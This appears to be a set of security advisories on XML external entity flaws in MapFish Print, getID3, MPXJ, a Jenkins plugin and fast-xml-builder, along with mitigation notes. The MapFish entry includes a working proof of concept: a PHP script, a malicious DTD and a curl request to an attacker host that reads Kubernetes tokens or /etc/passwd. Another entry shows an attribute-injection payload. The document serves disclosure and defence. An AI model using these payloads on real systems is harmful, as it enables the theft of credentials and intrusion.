Summary
MapFish Print has XXE that allows reading arbitrary files of certain types
Details

Summary

XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

Details

To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

PoC

Host this php file somewhere as xxe.php:

<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
 <!ENTITY % payload SYSTEM \"file://$p\">
 <!ENTITY % dtd SYSTEM \"$u\">
 %dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";

and beneath host this "evil.dtd"

<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'

Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.

It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://

Impact

disclose local files. blind(ish) SSRF (depends on the servers response data)

Summary
getID3 is vulnerable to XML External Entity (XXE)
Details

getID3() before 1.9.9, as used in ownCloud Server before 5.0.15 and 6.0.x before 6.0.2, allows remote attackers to read arbitrary files, cause a denial of service, or possibly have other impact via an XML External Entity (XXE) attack.

Vulnerability from github – Published: 2026-09-22 20:34 – Updated: 2026-09-22 20:34

Summary
MPXJ: XXE Vulnerability in MerlinReader
Details

Impact

MPXJ used the default configuration when creating a DocumentBuilder instance, which leaves doctype declarations enabled, when parsing the XML content of the ZTIMEINTERVALS column from a Merlin project SQLite file. This would allow a carefully crafted XML payload to read an arbitrary file. However, although an arbitrary file can be read, the way the resulting parsed XML is processed by MPXJ means that the data it contains is unlikely to be available for exfiltration.

Patches

The patch is included in MPXJ 16.4.1

Workarounds

Potential workarounds include: * Avoid reading Merlin project files with MPXJ * Only accept Merlin project files from trusted sources * Preprocess Merlin SQLite databases to strip doctype declarations from the ZTIMEINTERVALS column

Severity
7.5 (High)

Summary
XXE vulnerability in Jenkins Nested View Plugin
Details

Jenkins Nested View Plugin 1.20 and earlier does not configure its XML transformer to prevent XML external entity (XXE) attacks.

This allows attackers able to configure views to have Jenkins parse a crafted view XML definition that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Jenkins Nested View Plugin 1.21 disables external entity resolution for its XML transformer.

GHSA-5WM8-GMM8-39J9

Vulnerability from github – Published: 2026-05-08 16:29 – Updated: 2026-05-14 20:37
VLAI
Summary
fast-xml-builder allows attribute values with unwanted quotes to bypass malicious or unwanted attributes
Details

Summary

When an input data has quotes in attribute values but process entities is not enabled, it breaks the attribute value into multiple attributes. This gives the room for an attacker to insert unwanted attributes to the XML/HTML.

Detail

Malicious Input

{
      a: {
        "@_attr": '" onClick="alert(1)'
      }
}

Output

<a attr="" onClick="alert(1)"></a>

Workarounds

If you're not ignoring attributes then keep processEntities flag true.

Mitigation
Implementation System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.

CAPEC-221: Data Serialization External Entities Blowup

This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.
